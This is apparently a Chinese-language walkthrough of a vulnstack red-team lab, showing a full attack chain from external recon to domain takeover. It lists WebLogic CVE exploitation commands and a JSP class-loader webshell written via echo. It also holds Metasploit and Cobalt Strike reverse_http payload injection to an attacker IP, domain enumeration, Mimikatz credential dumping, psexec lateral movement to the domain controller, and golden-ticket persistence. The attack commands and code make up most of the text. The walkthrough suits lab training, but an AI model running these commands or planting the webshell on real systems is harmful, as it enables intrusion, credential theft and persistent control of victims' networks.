环境配置
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
主机名字 | IP |
---|
DC.de1ay.com | 10.10.10.10(内网) | WEB.de1ay.com | 10.10.10.80(内网)/192.168.111.80(外网) | PC.de1ay.com | 10.10.10.20(内网)/192.168.111.201(外网) | 攻击机kali | 192.168.1.129(外网) |
默认密码有:
- de1ay:1qaz@WSX
- de1ay\administrator:1qaz@WSX
使用管理员账号登录WEB.de1ay.com,然后在以下的路径中开启图中的三个服务,开启web服务。

然后需要关闭防火墙,我这里没有关闭的时候连ping都ping不通。
外网
信息收集
使用nmap扫描192.168.111.0网段
nmap -Pn 192.168.111.0/24

对上面收集到的信息进行集中
IP | 端口 |
---|
192.168.111.80 | 80、135、139、445、1433、3389、7001(weblogic)、49152、49153、49154 | 192.168.111.201 | 135、139、445、3389、49152、49153、49154、49155 |
发现80主机存在80端口和7001端口,然后先对80进行访问,发现是一个空页面

然后对7001端口进行访问,发现是一个404页面

对80、7001端口进行目录扫描,因为这两个都是有可能是web端口。经过扫描后发现80没有什么有价值的,然后7001端口存在console端口。

对console进行登录,发现是一个weblogic登录页面。

使用weblogicScanner扫描工具(该工具比WeblogicScan工具所能扫描到的漏洞更多)进行扫描
该扫描工具的下载地址:https://github.com/0xn0ne/weblogicScanner
python3 ./ws.py -t 192.168.111.80 -o ./end(输出的文件夹)
对输出的json文件放到JSON在线视图查看器进行查看,发现存在许多漏洞。

除了使用上面的weblogic工具外,还可以使用一款集合了weblogic的集成工具进行漏洞的探测。
下载地址:链接: https://pan.baidu.com/s/1Sm4c3pXjZP-_Rd5IfBbcCA?pwd=spg9 提取码: spg9 复制这段内容后打开百度网盘手机App,操作更方便哦
并且发现这里检测到的漏洞比上面扫描到的漏洞要少很多,只有一个CVE-2020-2551。

漏洞整理
整理下上面得到的三个洞的信息。
漏洞编号 | 漏洞信息 |
---|
CVE-2014-4210 | SSRF漏洞 | CVE-2017-3506 | weblogic wls-wsat组件远程命令执行 | CVE-2017-10271 | weblogic wls组件远程命令执行漏洞 | CVE-2018-3191 | weblogic远程代码执行漏洞 | CVE-2018-3245 | weblogic反序列化远程代码执行漏洞 | CVE-2019-2618 | weblogic任意文件上传漏洞 | CVE-2019-2725 | weblogic反序列化远程命令执行漏洞 | CVE-2019-2729 | weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似 | CVE-2019-2888 | weblogic未受权XXE漏洞 | CVE-2020-2551 | weblogic IIOP反序列化漏洞 | CVE-2020-2883 | weblogic反序列化 | CVE-2020-14882 | weblogic未授权命令执行漏洞 |
外网漏洞利用
一、CVE-2014-4210(SSRF漏洞,失败)
- 访问
http://192.168.111.80:7001/uddiexplorer/ ,发现无需登录就可以查看uddiexplorer网页,有可能存在该CVE-2014-4210漏洞。

- 使用burpsuit进行抓包,发现存在一个疑似ssrf的payload:operator。


-
但是在实际使用burpsuit进行内网探测的时候,发现无论是存在的ip还是不存在的ip,他的返回结果都是一样的,无法判断内网中是否存在该ip,因此该漏洞无法利用。
- 不存在该ip的返回页面
 - 存在该ip值时的返回页面
 -
我这里本来想要验证是否存在该SSRF漏洞的,可是无论我访问的是dnslog还是ceye,都无法访问,因此无法验证是否存在该漏洞。 
二、CVE-2017-3506(weblogic wls-wsat组件远程命令执行,成功且可以拿下webshell)
- 访问
http://192.168.111.80:7001/wls-wsat/CoordinatorPortType ,出现下图所示的页面说明可能存在该CVE-2017-3506漏洞

- 使用WebLogic-XMLDecoder.jar工具进行检测,发现该漏洞存在,该工具的下载地址:https://github.com/Al1ex/CVE-2017-3506
java -jar WebLogic-XMLDecoder.jar -u http://192.168.111.80:7001

- 使用该工具上传木马
java -jar WebLogic-XMLDecoder.jar -s http://192.168.111.80:7001 /wls-wsat/CoordinatorPortType shell.jsp

- 访问生成木马的url,发现能够执行系统命令了。
http://192.168.111.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

三、CVE-2017-10271(weblogic wls组件远程命令执行漏洞,成功且可以拿下webshell)
- 访问该网页
http://192.168.111.80:7001/wls-wsat/CoordinatorPortType ,如果出现如图所示的页面就说明有可能存在该CVE-2017-10271漏洞。(该漏洞是在CVE-2017-3506打了补丁后绕过的一种方式)

- 直接使用工具,发现存在该漏洞,并且利用成功了。

- 使用MSF进行漏洞利用
search CVE-2017-10271
use 1
set target Windows
set lhost 192.168.111.128
set lport 1111
set rhosts 192.168.111.80
run

四、CVE-2018-3191(weblogic远程代码执行漏洞,失败)
- 使用工具检测,发现没有该漏洞。

五、CVE-2018-3245(weblogic反序列化远程代码执行漏洞,失败)
- 使用工具检测,发现没有该漏洞。

六、CVE-2019-2618(weblogic任意文件上传漏洞,成功且可以拿下webshell)
- 该漏洞需要登录后台之后才能上传,该靶场网页的默认密码的是weblogic/1qaz@WSX

- 使用工具进行验证,需要账号密码,下载地址是:https://github.com/jas502n/cve-2019-2618
python2 ./cve-2019-2618.py http://192.168.111.80:7001 weblogic 1qaz@WSX

- 访问生成后的url,
http://192.168.111.80:7001/bea_wls_internal/shell.jsp ,并且执行ipconfig命令,发现执行成功

- 根据该命令执行的窗口,我们可以写入一句话木马。通过上帝视角查看web机器的目录,发现shell.jsp的路径是
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war ,这里需要注意下,不同的webshell管理工具,他们的连接木马是不一样的。(PS:本人浪费了一个多小时才注意到。。。,还需要注意的是echo中出现左右尖括号的时候,需要在尖括号前面添加^符号来进行转义处理,否者就会出错)
echo ^<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%^>
^<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%^> > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\cmd4.jsp

- 蚁剑连接。

七、CVE-2019-2725(weblogic反序列化远程命令执行漏洞,成功且可以拿下webshell)
- 使用工具检测,发现存在该漏洞

八、CVE-2019-2729(weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似)
- 使用工具检测,发现存在该漏洞

九、CVE-2019-2888(weblogic未受权XXE漏洞,失败)
会用到的工具:
- https://github.com/jas502n/CVE-2019-2888
- https://github.com/TheTwitchy/xxer
- xxer开启监听
python3 xxer.py -p 8989(端口) -H 192.168.111.128(xxer所在的ip地址)

- 运行CVE-2019-2888
python2 weblogic.py 192.168.111.80(weblogic的ip地址) 7001(weblogic的端口)

- 查看xxer的信息,发现并没有返回任何信息,说明该漏洞利用失败

十、CVE-2020-2551(weblogic IIOP反序列化漏洞,失败)
- 使用工具扫描,发现并没有该漏洞

十一、CVE-2020-2883(weblogic反序列化)
- 挖个坑,看不懂该漏洞要如何去复现,以后学会了再回头搞。
十二、CVE-2020-14882(weblogic未授权命令执行漏洞,失败)
- 使用工具进行检测,发现并没有漏洞,下载地址:https://github.com/GGyao/CVE-2020-14882_ALL
python3 CVE-2020-14882_ALL.py -u http://192.168.111.80:7001 -c "whoami"

漏洞总结
在这十二个漏洞中,能直接拿下webshell的有CVE-2017-3506、CVE-2017-10271、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729有这五个漏洞。下面就不演示如何webshell了,考虑到在实战中是没有上帝视角的,因此只考虑 CVE-2017-10271 ,而不考虑和第六个洞:CVE-2019-2618 类似的需要web目录的的情况。
内网
进程注入
在拿到webshell后,第一步要查看进程列表,要将MSF的进程注入到explorer.exe中,因为该进程一般不会被关闭。

使用migrate命令注入到explorer.exe进程中

MSF和CS联动
创建CS监听器,具体的配置如图所示

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 9999
set session 1
run

注入下进程,防止被杀掉
inject 2240(注入的进程号) x64 msf-cs(监听器名字)

CS和MSF联动
首先CS要生成一个外部的监听器(Foreign HTTP/HTTPS)

MSF使用和刚生成监听器一样的监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http或者是set payload windows/meterpreter/reverse_https
set lhost 192.168.111.128
set lport 9876
然后在CS中新建会话,选择刚生成的监听器

回到MSF中查看,发现联动成功

信息收集
1.查看杀软信息
我这里使用梼杌插件查看,发现存在一个360和另外两个杀软。

2.收集内外网信息
首先是收集有多少个网段,这里发现有两个,一个是10.10.10.80,还有一个是192.168.111.80。

收集存在的域
shell net view /domain

查看域管理员
shell net group "domain admins" /domain

查看主域控制器
shell netdom query pdc

查看域控
shell net group "Domain Controllers" /domain

查看SID
shell whoami /all

查看当前登录的域
shell net config workstation

还可以使用梼杌插件进行一键获取所有的信息

使用梼杌插件中的查看所有用户的sid,具体操作是梼杌->信息收集->查看mstsc记录->查看所有用户的记录

使用梼杌中的Mimikatz获取明文密码

在CS中选择文件浏览,选择把nbtscan工具上传到靶机中,然后就可以在web机器中运行nbtscan工具了。
shell C:\Windows\system32\nbtscan.exe 10.10.10.1/24

使用MSF挂socks代理,进行内网的端口扫描
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run
vi /etc/proxychains.conf
#socks 127.0.0.1 9050
socks5 127.0.0.1 1080

使用nmap扫描,但是发现扫描的结果并不符合实际情况,他这里的扫描结果没有一个是开放的,这不符合实际情况。

使用CS自带的扫描,具体的的操作是:视图->目标列表->目标列表中的主机右击选择扫描,选择所得到的会话,然后点击运行

这里列举下其中的DC端口扫描的结果,查看具体的结果是右击选择服务,其余两台主机的操作一样

横向移动
psexec
使用psexec进行横向移动,横向移动的前提是需要获取到NTLM值,然后点击视图->目标列表->DC右键->横向移动->psexec->选择其中的一个user、password、DE1AY,随便选择一个监听器和会话。

拿下域控DC了

同样的流程,我们可以如法炮制拿下PC机

权限维持
黄金票据
黄金票据需要域成员名、域成员密码、域控地址(10.10.10.10)、域sid、krbtgt哈希值,其中krbtgt哈希值是要拿到域控之后在域控里面才能拿到的,因此黄金票据是只能在拿到域控之后的权限维持操作。
首先在域控里面运行hashdump命令获取krbtgt的哈希值

在DC右键生成黄金票据,输入所需要的数据。

生成黄金票据成功

|